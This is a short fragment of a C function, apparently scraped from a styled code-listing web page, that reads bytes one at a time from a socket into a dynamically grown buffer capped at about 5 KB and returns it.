<DIV class="line number243 index242 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;int received, count = 0, count2=0;</DIV>

<DIV class="line number244 index243 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;char ch;</DIV>

<DIV class="line number245 index244 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number246 index245 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;for(;;)</DIV>

<DIV class="line number247 index246 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;{</DIV>

<DIV class="line number248 index247 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;if (!rc)</DIV>

<DIV class="line number249 index248 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;rc = calloc(1024, sizeof (char) + 1);</DIV>

<DIV class="line number250 index249 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;else</DIV>

<DIV class="line number251 index250 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;if (count2 % 1024 == 0) {</DIV>

<DIV class="line number252 index251 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rc = realloc(rc, (count2 + 1) * 1024 * sizeof (char) + 1);</DIV>

<DIV class="line number253 index252 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number254 index253 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;received = read(sockfd, &amp;ch, 1);</DIV>

<DIV class="line number255 index254 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;if (received == 1) {</DIV>

<DIV class="line number256 index255 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rc[count++] = ch;</DIV>

<DIV class="line number257 index256 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;count2++;</DIV>

<DIV class="line number258 index257 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (count2 &gt; 1024*5)</DIV>

<DIV class="line number259 index258 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number260 index259 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number261 index260 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;else</DIV>

<DIV class="line number262 index261 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;</DIV>

<DIV class="line number263 index262 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number264 index263 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;return rc;</DIV>

<DIV class="line number265 index264 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">}</DIV>

<DIV class="line number266 index265 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

